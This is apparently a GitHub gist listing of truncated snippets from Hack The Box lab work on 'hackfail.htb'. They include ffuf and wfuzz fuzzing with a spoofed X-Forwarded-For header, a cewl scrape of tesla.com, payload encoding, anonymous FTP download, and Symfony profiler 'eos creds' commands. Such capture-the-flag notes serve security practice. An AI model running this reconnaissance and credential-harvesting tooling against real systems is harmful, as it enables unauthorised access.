This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| ffuf -u http://hackfail.htb/ -H "Host: FUZZ.hackfail.htb" -w "$(wl)" -timeout 100 -t 1 -fs 10676 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| cewl https://www.tesla.com/ > tesla_wordlist.txt |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/env bash | |
| set -euo pipefail | |
| IFS=$'\n\t' | |
| user="stev0" | |
| user="elonmusk" | |
| wfuzz \ | |
| -w "$(wl)" \ | |
| -H "X-Forwarded-For: 127.0.0.1" \ |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/env bash | |
| set -euo pipefail | |
| IFS=$'\n\t' | |
| payload='elonmusk' | |
| # unicode | |
| ext="$(echo -ne "${payload}" | xxd -c 1 | awk '{print $2}' | sed 's/^/\\\\u00/' | tr -d '\n')" | |
| # hex | |
| ext="$(echo -ne "${payload}" | xxd -c 1 | awk '{print $2}' | sed 's/^/\\\\x/' | tr -d '\n')" | |
| echo "${payload}" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # Convert input into a series of digits | |
| echo hello | xxd -c 1 | awk '{print $2}' | xargs -Inum printf "%d", 0xnum | tr ',' '\n' |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/env python3 | |
| # -*- coding: utf-8 -*- | |
| """HTB.""" | |
| import hashlib | |
| import hmac | |
| from base64 import b64encode | |
| from urllib import parse | |
| import requests | |
| from html2text import html2text |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # recusive download | |
| wget -r --no-passive-ftp --ftp-user=anonymous [email protected] ftp://${RHOSTS} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # eos creds -H "X-Forwarded-For: 127.0.0.1" http://dev.hackfail.htb | |
| # eos get http://dev.hackfail.htb var/cache/dev/profiler/index.csv | |
| # eos scan -H "X-Forwarded-For: 127.0.0.1" http://dev.hackfail.htb | |
| # eos sources -H "X-Forwarded-For: 127.0.0.1" http://dev.hackfail.htb -o sources | |
| #!/usr/bin/env bash | |
| set -euo pipefail | |
| IFS=$'\n\t' | |
| files=($( |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/env bash | |
| set -euo pipefail | |
| IFS=$'\n\t' | |
| cat <<MEOF >create.sql | |
| CREATE DATABASE testing; | |
| create table testing.users( | |
| id INT NOT NULL AUTO_INCREMENT, | |
| username VARCHAR(100) NOT NULL, |